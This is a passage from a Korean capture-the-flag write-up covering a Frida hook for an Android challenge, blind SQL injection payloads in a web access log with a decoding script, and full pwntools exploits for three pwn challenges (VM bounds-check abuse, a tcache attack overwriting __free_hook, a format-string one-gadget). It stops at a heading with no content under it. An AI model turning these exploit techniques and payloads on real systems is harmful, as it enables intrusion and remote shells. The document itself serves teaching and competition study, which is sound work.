๋”ฐ๋ผ์„œ F0๋ฅผ BLOWFISH์˜ ํ‚ค๋กœ BOB9์„ ์‚ฌ์šฉํ•ด์„œ Decrypt ํ•ด์ฃผ๋ฉด Flag๊ฐ€ ๋‚˜์˜ค๊ฒ ์ง€?

ํ•˜์ง€๋งŒ ์—ฌ๊ธฐ์„œ Fake๊ฐ€ ์กด์žฌํ•œ๋‹ค. Init์˜ ๋งˆ์ง€๋ง‰ ์ธ์ž๋Š” Key Size์ธ๋ฐ 7์ด๋‹ค.

๋”ฐ์„œ ์‹ค์ œ BLOWFISH์˜ ํ‚ค ๊ฐ’์€ BOB9\x00\x00\x00!

์ด๋Ÿฐ Fake์— ๋‹นํ•˜์ง€ ์•Š์œผ๋ ค๋ฉด ์‹ค์ œ๋กœ ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค.

์ƒˆ๋กœ์šด ํ”„๋กœ์ ํŠธ๋ฅผ ๋งŒ๋“ค์–ด์„œ .so๋ฅผ ๋ผ์›Œ๋„ฃ๊ณ  ์ปดํŒŒ์ผํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ๊ฒ ์ง€๋งŒ Frida๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์ž.

var addrStringFromJNI = Module.findExportByName(null, 'Java_jeong_su_bob9_1easy_1android_MainActivity_stringFromJNI');
var addrHiddenStage = Module.findExportByName(null, 'Java_jeong_su_bob9_1easy_1android_MainActivity_HiddenStage');
var HiddenStage = new NativeFunction(addrHiddenStage, 'int', ['pointer']);

Interceptor.attach(addrStringFromJNI, {
	onEnter: function(argv){
		this.arg0 = argv[0];
	},
	onLeave: function(rets){
		rets.replace( HiddenStage(this.arg0) );
	}
});

์ด ์Šคํฌ๋ฆฝํŠธ๋Š” stringFromJNI ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด HiddenStage ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ๋ฆฌํ„ด์„ ๋ณ€๊ฒฝํ•ด์ฃผ๋Š” ์Šคํฌ๋ฆฝํŠธ์ด๋‹ค.

am start -n jeong.su.bob9_easy_android/.MainActivity

๊ทธ๋ฆฌ๊ณ  MainActivity๋ฅผ am ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์ž‘ํ•ด์ฃผ๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๐Ÿ–ฅ๏ธ FORENSIC

SQL Eyes


๐Ÿ’ก
Find the leaked data
  • ํ•ด๋‹น ๋ฌธ์ œ์—์„œ๋Š” ์›น ์„œ๋ฒ„์˜ access.log ํŒŒ์ผ์ด ์ œ๊ณต๋˜์—ˆ๋‹ค.
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=1 HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=2-1 HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7C1-- HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7Cif%28substr%28lpad%28bin%28ord%28substr%28flag%2C1%2C1%29%29%29%2C8%2C0%29%2C1%2C1%29%3D1%2C1%2C%28select+1+union+select+2%29%29-- HTTP/1.1" 500 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /archives/ HTTP/1.1" 404 437 "-" "DirBuster-0.12 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7Cif%28substr%28lpad%28bin%28ord%28substr%28flag%2C1%2C1%29%29%29%2C8%2C0%29%2C2%2C1%29%3D1%2C1%2C%28select+1+union+select+2%29%29-- HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
192.168.47.1 - - [21/Aug/2020:12:51:50 -0700] "GET /view.php?idx=0%7C%7Cif%28substr%28lpad%28bin%28ord%28substr%28flag%2C1%2C1%29%29%29%2C8%2C0%29%2C3%2C1%29%3D1%2C1%2C%28select+1+union+select+2%29%29-- HTTP/1.1" 200 202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36"
  • access.log๋ฅผ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•œ ๊ณต๊ฒฉ์€ Blind SQL Injection ๊ณต๊ฒฉ์ธ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋Š”๋ฐ ์œ ํ˜•์ด 2๊ฐ€์ง€๊ฐ€ ์žˆ๋‹ค.
  • 0||if(substr(lpad(bin(ord(substr(flag,1,1))),8,0),1,1)=1,1,(select 1 union select 2))์„ ํ†ตํ•ด ๊ฑฐ์ง“์ผ ๊ฒฝ์šฐ์—๋Š” 500 ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ Error based SQL Injection ๊ณต๊ฒฉ์„ ํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ๋‘๋ฒˆ์งธ ์œ ํ˜•์€ 0||if(substr(lpad(bin(ord(substr(flag,12,1))),8,0),1,1)=1,sleep(3)=0,1)=0-- ์„ ํ†ตํ•ด ์ฐธ์ผ ๊ฒฝ์šฐ 3์ดˆ sleepํ•˜์—ฌ Time based SQL Injection ๊ณต๊ฒฉ์„ ํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์œ„ ๋‘๊ฐ€์ง€ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ์œ ์ถœํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์•…ํ•˜๋ฉด ๋œ๋‹ค. ์•„๋ž˜์™€ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค.
f = open('access.log', 'r')
temp = ""
flag = ""
prevsec = 0
first_bypass = True

for line in f.readlines():
    x = line.split()
    
    if len(x) == 0:
        continue
        
    if "OWASP_DirBuster_Project" in x[-1]:
        continue
        
    if 'union' in x[6]:
        if x[8] == '200':
            temp += "1"
        else:
            temp += "0"
        
        if len(temp) % 8 == 0 and len(temp) != 0:
            flag += chr(int(temp, 2))
            print(flag)
            temp = ""
    
    if 'sleep' in x[6]:
        if first_bypass:
            first_bypass = False
            continue
        hour, min, sec = x[3].split(":")[1:]
        allsec = int(min) * 60 + int(sec)
        relsec = allsec - 3111
            
        if (relsec - prevsec) > 2.5:
            temp += "1"
        else:
            temp += "0"
        
        if len(temp) % 8 == 0 and len(temp) != 0:
            flag += chr(int(temp, 2))
            print(flag)
            temp = ""
        
        prevsec = relsec

๐Ÿ–ฅ๏ธ PWN

bvm-pwn


๐Ÿ’ก
bvm์—์„œ ์ผ๋ถ€ ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๋Š” ๋ฃจํ‹ด์„ ์ด์šฉํ•˜์—ฌ stack ์˜์—ญ ๋ณ€์กฐ ๋ฐ ์‰˜ ํš๋“

bvm opcode๋ฅผ ํ•ด์„ํ•˜๊ณ  ์‹คํ–‰ํ•˜๋Š” ๊ณผ์ •์—์„œ ์ด 3๊ฐ€์ง€ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค.

  1. COMP reg, reg opcode์—์„œ left register index์— ๋Œ€ํ•ด์„œ๋Š” ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ํ•˜์ง€๋งŒ right register index๋Š” ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ํ•˜์ง€ ์•Š์•„, ๊ฒฝ๊ณ„๋ฅผ ๋„˜๋Š” register index๋ฅผ ์ฐธ์กฐํ•˜์—ฌ 255๋ฒˆ ๋ฐ˜๋ณต ๋น„๊ต๋ฅผ ํ†ตํ•ด ์ผ๋ถ€ stack ์˜์—ญ์„ ๊ฐ„์ ‘์ ์œผ๋กœ leak ํ•  ์ˆ˜ ์žˆ๋‹ค.
  1. LSHIRT/RSHIFT reg, reg, reg opcode์—์„œ left register index์— ๋Œ€ํ•œ ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ํ•˜์ง€ ์•Š์•„ ์ผ๋ถ€ stack ์˜์—ญ์„ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.
  1. MOVE reg, [reg] opcode์—์„œ register index์— ๋Œ€ํ•œ ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋Š” ํ•˜์ง€๋งŒ vm->reg[right_idx]๊ฐ€ vm->size๋ณด๋‹ค ํฐ์ง€์— ๋Œ€ํ•œ ๊ฒ€์‚ฌ๋ฅผ ํ•˜์ง€์•Š์•„ ์ผ๋ถ€ stack ์˜์—ญ์„ leak ํ•  ์ˆ˜ ์žˆ๋‹ค. 3๋ฒˆ์˜ ๊ฒฝ์šฐ ์‚ฌ์‹ค ์˜๋„ํ•˜์ง€ ์•Š์€ ์ทจ์•ฝ์ ์œผ๋กœ, ๋Œ€ํšŒ ๋„์ค‘ ํŒจํ‚ท ๋ชจ๋‹ˆํ„ฐ๋ง์„ ํ–ˆ์„ ๋•Œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•œ 4๋ถ„ ๋ชจ๋‘ 1๋ฒˆ ๋Œ€์‹  ์ด ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์˜€๋‹ค.

์œ„ ์ทจ์•ฝ์ ์œผ๋กœ main return address๋ฅผ leakํ•˜์—ฌ libc ์ฃผ์†Œ๋ฅผ ์–ป๊ณ  oneshot gadget๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ ๋‹ค์‹œ main return address๋ฅผ ๋ฎ์œผ๋ฉด ์‰˜์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” vm code๋ฅผ ์ž‘์„ฑํ•ด์•ผํ•œ๋‹ค.

pwn.asm

.LEAK_DATA
empty 8

.LEAK_WORD_1
MOVE cx, 0
:LABEL_1
COMP cx, 18x
MOVE ax, cx
ADD cx, 1
JNE LABEL_1
RETURN

.LEAK_WORD_2
MOVE cx, 0
:LABEL_2
COMP cx, 19x
MOVE ax, cx
ADD cx, 1
JNE LABEL_2
RETURN

.LEAK_WORD_3
MOVE cx, 0
:LABEL_3
COMP cx, 20x
MOVE ax, cx
ADD cx, 1
JNE LABEL_3
RETURN

.LEAK_WORD_4
MOVE cx, 0
:LABEL_4
COMP cx, 21x
MOVE ax, cx
ADD cx, 1
JNE LABEL_4
RETURN

.MAIN
// leak libc
CALL LEAK_WORD_1
MOVE bx, SECTION#LEAK_DATA
ADD bx, 0
MOVE [bx], ax

CALL LEAK_WORD_2
MOVE bx, SECTION#LEAK_DATA
ADD bx, 2
MOVE [bx], ax

CALL LEAK_WORD_3
MOVE bx, SECTION#LEAK_DATA
ADD bx, 4
MOVE [bx], ax

CALL LEAK_WORD_4
MOVE bx, SECTION#LEAK_DATA
ADD bx, 6
MOVE [bx], ax

// leak
MOVE cx, 8
MOVE bx, SECTION#LEAK_DATA
MOVE ax, 1
SYSCALL

// write SECTION#LEAK_DATA
MOVE ax, 0
SYSCALL


// overwrite
MOVE bx, 0
MOVE ax, SECTION#LEAK_DATA
MOVE dx, [ax]
LSHIFT 18x, dx, bx

ADD ax, 2
MOVE dx, [ax]
LSHIFT 19x, dx, bx

ADD ax, 2
MOVE dx, [ax]
LSHIFT 20x, dx, bx

ADD ax, 2
MOVE dx, [ax]
LSHIFT 21x, dx, bx
RETURN

pwn.asm์—์„œ ํ‘œํ˜„๋œ 18x, 19x ๋“ฑ์˜ ๋ ˆ์ง€์Šคํ„ฐ๋Š” ์›๋ž˜๋Š” ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋ ˆ์ง€์Šคํ„ฐ๋กœ, return address๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์กฐ์ž‘๋œ opcode์ด๋‹ค.

exploit poc

#!/usr/bin/env python3
from pwn import *
import hashlib, secrets, re

r = remote("localhost", 12001)
p = r.recvline().strip().decode()
k, v = re.findall(r'\"[^)]*\"', p)
k, v = k[1:-1], v[1:-1]
log.info("parsed (k, v) = ({}, {})".format(k, v))

pg = log.progress("PoW")
pg.status("solving ...")

while True:
    x = secrets.token_hex(5)
    if hashlib.sha256((k + x).encode()).hexdigest()[:5] == v:
        pg.success("solved [x = {}]".format(x))
        break

payload = "QlZNAAYSABoALAA+AFAAYgAFAAAAAAAAAAABAgAAGQISEQACAgIBAAweAA4BAgAAGQITEQACAgIBAAwwAA4BAgAAGQIUEQACAgIBAAxCAA4BAgAAGQIVEQACAgIBAAxUAA4NGgBBAQACAQAAMQEADSwAQQEAAgECADEBAA0+AEEBAAIBBAAxAQANUABBAQACAQYAMQEAAQIIAEEBAAEAAQAPAQAAAA8BAQAAQQAAIQMABxIDAQIAAgAhAwAHEwMBAgACACEDAAcUAwECAAIAIQMABxUDAQ4="
# payload = b64e(open("pwn.bvm", "rb").read()
r.sendlineafter("x = ", x)
r.sendlineafter("> ", payload)

r.recvuntil("loading ...\n")
libc = u64(r.recvn(8)) - 0x021b97 # libc_base
r.info("libc: {:x}".format(libc))
r.send(p64(libc + 0x4f365)) # oneshot
r.interactive()

# cat flag
# bob{B0undary_cheCK_1s_e2sy_T0_f0rg2t}

cluster_shell


๐Ÿ’ก
libc 2.31 heap oob๋ฌธ์ œ
  • vim์ฒ˜๋Ÿผ ๋งŒ๋“  ๋ฉ”๋ชจ์žฅ ๊ธฐ๋Šฅ๊ณผ ์œ ์‚ฌ ์‰˜ ํ”„๋กฌํ”„ํŠธ
sh# help
========================================
help    - Help
ls      - List of files
cat     - Print the contents
rm      - Remove file
vim     - Text editor
========================================
sh# ls
 - 1
sh# cat 1

 aaaa

sh# vim 1
##################
#_aaaa...........#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
#................#
##################
  • vim์œผ๋กœ ํŒŒ์ผ์„ ํ•˜๋‚˜ ๋งŒ๋“ค๋•Œ ๋งˆ๋‹ค ํž™์— 0x110ํฌ๊ธฐ์˜ ์ฒญํฌ๋ฅผ ํ• ๋‹นํ•œ๋‹ค. rm์œผ๋กœ ์‚ญ์ œํ• ๋•Œ ๋งˆ๋‹ค free๋กœ ์ฒญํฌ ํ•ด์ œ ๊ฐ€๋Šฅ. ๋”ฑ ๋ด๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๋ญ”๊ฐ€ ์“ฐ๊ฑฐ๋‚˜ ํ•  ์ˆ˜ ์žˆ๋Š”๊ฒŒ vim๊ธฐ๋Šฅ๋ฐ–์— ์—†๊ธฐ ๋•Œ๋ฌธ์— vim์ฝ”๋“œ๋กœ ๊ฐ„๋‹ค.
  • sub_1980๊ฐ€ vim์ฝ”๋“œ์ด๊ณ , ์•ˆ์˜ ๋ถ„๊ธฐ์— sub_14E2๊ฐ€ vim๋ชจ๋“œ์—์„œ ์ปค์„œ๋ฅผ ์›€์ง์ด๋Š” ์ฝ”๋“œ. switch๋ฌธ์œผ๋กœ jmp๋กœ ํ•ด๋‹น ๋ฃจํ‹ด์œผ๋กœ ๋“ค์–ด๊ฐ„๋‹ค. sub_149E๊ฐ€ oob๋ฐฉ์ง€๋ฅผ ์œ„ํ•œ boundary checkํ•จ์ˆ˜
  • qword_5058์ด vim๋ชจ๋“œ์—์„œ ์ปค์„œ์˜ ์œ„์น˜์ด๋‹ค. ์ปค์„œ์˜ ์œ„์น˜๊ฐ€ ์›€์ง์ด๋Š” ์ฝ”๋“œ์—๋Š” ๋ชจ๋‘ ์œ„ boundary checkํ•จ์ˆ˜๊ฐ€ ์žˆ์–ด์•ผ ํ•œ๋‹ค.
  • ํ•˜์ง€๋งŒ ๊ฐ™์€ ์˜์—ญ๋‚ด์— boundary checkํ•จ์ˆ˜ ์—†์ด ์ปค์„œ์˜ ์œ„์น˜๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์žˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด vim note๋‚ด์—์„œ oob์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐ ํ•˜์—ฌ ํž™ ์˜์—ญ๋‚ด์— ์ฒญํฌ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • switch๋ฌธ์„ ๋ถ„์„ํ•˜๋ฉด jmp์ฝ”๋“œ๋ฅผ ์–ด๋””๋กœ ํƒˆ์ง€ ํ…Œ์ด๋ธ”์ด ์žˆ๋‹ค.
0x800153c:   lea    0x1ac5(%rip),%rdx        # 0x8003008
=> 0x8001543:   add    %rdx,%rax
   0x8001546:   notrack jmpq *%rax
  • 0x8003008 + [ํ…Œ์ด๋ธ” ๋ฐ์ดํ„ฐ]๋กœ ์ ํ”„๋ฅผ ํƒ€๋Š”๋ฐ ์ ํ”„๋ฅผ ํƒˆ ๊ณณ์„ ์œ„์—์„œ ์ฐพ์€ ์ทจ์•ฝํ•œ ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š”๊ณณ์„ ์ฐพ๋Š”๋‹ค. ์ฐพ๋Š” ๊ฐ’์€ 0x8003008 + X = 0x8001608์ด๋ฏ€๋กœ
>>> hex(0x8001608-0x8003008&0xffffffff)
'0xffffe600'
  • ํ•ด๋‹น ๊ฐ’์€ 0x8003008[0x27]๋ฒˆ์งธ์— ์žˆ๋‹ค.
(gdb) x/128wx 0x8003008
0x8003008:      0xffffe640      0xffffe64e      0xffffe64e      0xffffe64e
0x8003018:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003028:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003038:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003048:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003058:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003068:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003078:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003088:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x8003098:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe600
0x80030a8:      0xffffe64e      0xffffe64e      0xffffe64e      0xffffe64e
0x80030b8:      0xffffe64e      0xffffe64e      0xffffe541      0xffffe5f2
0x80030c8:      0xffffe56f      0xffffe59d      0xffffe5cb      0xffffe64e
0x80030d8:      0xffffe64e      0xffffe620      0x6f4e0020      0x6c696620
(gdb) x/wx 0x8003008+0x27*4
0x80030a4:      0xffffe600
.text:0000000000001513                 movzx   eax, byte ptr [rbp-9]
.text:0000000000001517                 movsx   eax, al
.text:000000000000151A                 sub     eax, 3Ah ; ':'
.text:000000000000151D                 cmp     eax, 35h ; '5'
.text:0000000000001520                 ja      loc_1656
.text:0000000000001526                 mov     eax, eax
  • switch๊ณ„์‚ฐ์—์„œ [์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ] - 0x3a๋ฅผ ํ•˜๋‹ˆ ๋”ํ•˜๋ฉด ๋ฌธ์ž a๊ฐ€ ๋œ๋‹ค.
>>> chr(0x27+0x3a)
'a'
  • vim๋ชจ๋“œ์—์„œ a๋ฌธ์ž๋ฅผ ์ž…๋ ฅํ•  ์‹œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ์˜ ์‹คํ–‰์„ ์•Œ๊ฒŒ ๋œ๋‹ค.
mov     rax, cs:qword_5058
add     rax, 1
mov     cs:qword_5058, rax
mov     eax, 0ABCD0001h
mov     cs:qword_5010, rax
jmp     short loc_1663
  • ์ด ๋’ค๋ถ€ํ„ฐ๋Š” oob๋ฅผ ์ด์šฉํ•ด ์ฝ”๋“œ๋ฅผ ๋ณผ ํ•„์š” ์—†์ด ๋ฉ”๋ชจ๋ฆฌ๋งŒ ๋ณด๋ฉด์„œ ์ทจ์•ฝ์ ์˜ ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.
  • ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ์ทจ์•ฝ์ ์„ ํŠธ๋ฆฌ๊ฑฐ ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ๋‚˜๋Š” tcache bin attack์œผ๋กœ __free_hook์— system์„ ๋ฎ์–ด์„œ ํŠธ๋ฆฌ๊ฑฐํ•˜์˜€๋‹ค.
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
alloc(5)

oob(0, p64(0x0) + p64(0x481))
free(1)
alloc(1)
  • heap chunk 6๊ฐœ ํ• ๋‹นํ•˜๊ณ  1๋ฒˆ ํž™์˜ ํฌ๊ธฐ๋ฅผ 0x480์œผ๋กœ ๋ฐ”๊ฟ” unsorted bin์œผ๋กœ ๋ฐ”๊พธ๊ณ  ํ•ด์ œํ•˜์—ฌ libc์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ”๋กœ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. oob๋Š” 0๋ฒˆ์งธ ํž™ ์ฒญํฌ์˜ ๋ฐ”๋กœ ๋’ค์— ์ ๊ธฐ ์‹œ์ž‘ํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.
free(4)
free(3)

payload = p64(0x0) + p64(0x121)
payload += b"A" * 0x110
payload += p64(0x0) + p64(0x361)
payload += p64(leak)
payload += p64(leak)
payload += b"A" * (0x110-0x10)
payload += p64(0x0) + p64(0x121)
payload += p64(libc + e.symbols['__free_hook']-0x10)
oob(0, payload)
  • 4๋ฒˆ 3๋ฒˆ ์ฒญํฌ๋ฅผ ํ•ด์ œํ•ด tcache bin์„ ๋งŒ๋“ค๊ณ  ์œ„์—์„œ leakํ•œ libc์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์™€ oob์ทจ์•ฝ์ ์œผ๋กœ tcache bin์˜ ๋‹ค์Œ ํ• ๋‹น๋  ๊ณต๊ฐ„์„ ๋ฐ”๊พผ๋‹ค. tcache bin์€ ์‚ฌ์ด์ฆˆ ์ฒดํฌ๊ฐ™์€ ๊ท€์ฐฎ์€๊ฒŒ ์—†์–ด์„œ ํŽธํ•˜๋‹ค.
alloc('AA')
p.sendlineafter("sh# ", f"vim /bin/sh")
p.recvuntil("#" * 0x10)
p.sendline(b"i" + p64(libc + e.symbols['system']))
p.recvuntil("#" * 0x10)
p.sendline(":q")
free('/bin/sh')
  • __free_hook์„ system์œผ๋กœ ๋ฎ๊ณ  ํ˜ธ์ถœ.

exploit

#!/usr/bin/env python3

'''
cluster_shell

in honestly, this is not has a relationship the clustering.

nc pwn.wwwlk.kr 13337

libc: http://pwn.wwwlk.kr/libc.so.6
md5: 10fdeb77eea525914332769e9cd912ae

binary: http://pwn.wwwlk.kr/cluster_shell
md5: a5960d98860dc3d5bf82ba82b0fe6dca
'''

from pwn import *

# context.log_level = 'debug'

def alloc(n):
   p.sendlineafter("sh# ", f"vim {n}")
   p.recvuntil("#" * 0x10)
   p.recvuntil("#" * 0x10)
   p.sendline(":q")

def free(n):
   p.sendlineafter("sh# ", f"rm {n}")

def oob(n, value):
   p.sendlineafter("sh# ", f"vim {n}")
   p.sendline(b"j" * 0xf + b"l" * 0xf + b'a' + value)
   p.sendline(":q")

gdbscript = '''
codebase
c
'''

p = process("./a.out")
e = ELF("./libc.so.6")

alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
alloc(5)

oob(0, p64(0x0) + p64(0x481))
free(1)
alloc(1)

p.sendlineafter("sh# ", "ls")
p.recvuntil(" - ")
p.recvuntil(" - ")
p.recvuntil(" - ")
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc = leak - 0x1ebbe0
log.info(f"leak: 0x{leak:x}")

free(4)
free(3)

payload = p64(0x0) + p64(0x121)
payload += b"A" * 0x110
payload += p64(0x0) + p64(0x361)
payload += p64(leak)
payload += p64(leak)
payload += b"A" * (0x110-0x10)
payload += p64(0x0) + p64(0x121)
payload += p64(libc + e.symbols['__free_hook']-0x10)
oob(0, payload)

alloc('AA')
p.sendlineafter("sh# ", f"vim /bin/sh")
p.recvuntil("#" * 0x10)
p.sendline(b"i" + p64(libc + e.symbols['system']))
p.recvuntil("#" * 0x10)
p.sendline(":q")
free('/bin/sh')

p.interactive()

Porn Master


๐Ÿ’ก
Format String Bug๋ฅผ ์ด์šฉํ•œ stack ์˜์—ญ ๋ณ€์กฐ ๋ฐ ์‰˜ ํš๋“ (glibc 2.27)
  • ๋ณดํ˜ธ๊ธฐ๋ฒ•
Canary                        : โœ“
NX                            : โœ“
PIE                           : โœ“
Fortify                       : โœ˜
RelRO                         : Full
  • ์‹คํ–‰๊ฒฐ๊ณผ
  • ์ฝ”๋“œํ™•์ธ
  • ์‚ฌ์šฉ์ž์—๊ฒŒ name ์„ 0x64 ์‚ฌ์ด์ฆˆ๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›์œผ๋ฉฐ ํž™ ์˜์—ญ์— ์ €์žฅ์„ ํ•œ๋‹ค.
  • ๋˜ํ•œ, ์‚ฌ์šฉ์ž์—๊ฒŒ 0x18 ์‚ฌ์ด์ฆˆ๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›์•„ ์Šคํƒ์— ์ €์žฅํ•˜๋ฉฐ, ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ๊ฐ 2๋ฒˆ์”ฉ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•ด๋‹น์˜์—ญ์—์„œ FSB ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” printf ์— ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ ์ง€์ • ํ›„ ๋””๋ฒ„๊ฑฐ ํ™•์ธ
  • ๋””๋ฒ„๊ฑฐ๋ฅผ ํ†ตํ•ด ์Šคํƒ์„ ํ™•์ธํ•  ์‹œ 0x00007ffd8e961198 ์ฃผ์†Œ๊ฐ€ 0x00007ffd8e96118c (๋ณ€์ˆ˜ i)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ํฌ์ธํ„ฐ ๋ณ€์ˆ˜(idx)์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฆ‰, ํ•ด๋‹น์˜์—ญ์„ FSB๋ฅผ ํ†ตํ•ด ๋ณ€์กฐํ•  ์‹œ ๋ฌด์ œํ•œ์œผ๋กœ ์ž…์ถœ๋ ฅ ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ๋”ฐ๋ผ์„œ, stack ๋ฐ libc leak ์ดํ›„ ret ๋ฅผ oneshot ์œผ๋กœ ๋ณ€์กฐํ•˜์—ฌ exploit ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • exploit code
from pwn import *

bi = './pwn'
r = process([bi])
#r = remote('localhost', 12002)

def reset():
    pay = '%11$n'
    r.sendlineafter('> ', pay )

r.sendlineafter(': ', 'gpsfly')

pay = '%17$p'
r.sendlineafter('> ', pay )
libc = int(r.recvline().strip(), 16) - 0x21b97
log.info("libc @ {}".format(hex(libc)))
reset()

pay = '%11$p'
r.sendlineafter('> ', pay)
stack = int(r.recvline().strip(), 16) - 0xc + 0x48
log.info("stack @ {}".format(hex(stack)))
reset()

oneshot = libc+0x4f2c5
oneshot = p64(oneshot)[:6]

for i in range(6):
    pay = '%{}c%14$hhn'.format(ord(oneshot[i]))
    pay = pay.ljust(0x10,'A')
    pay += p64(stack+i)[:6]
    r.sendlineafter('> ', pay)
    reset()

r.sendlineafter('> ','')
r.sendlineafter('> ','')

r.interactive()

Housepital


  • ๋ณดํ˜ธ๊ธฐ๋ฒ•
Canary                        : โœ“
NX                            : โœ“
PIE                           : โœ“
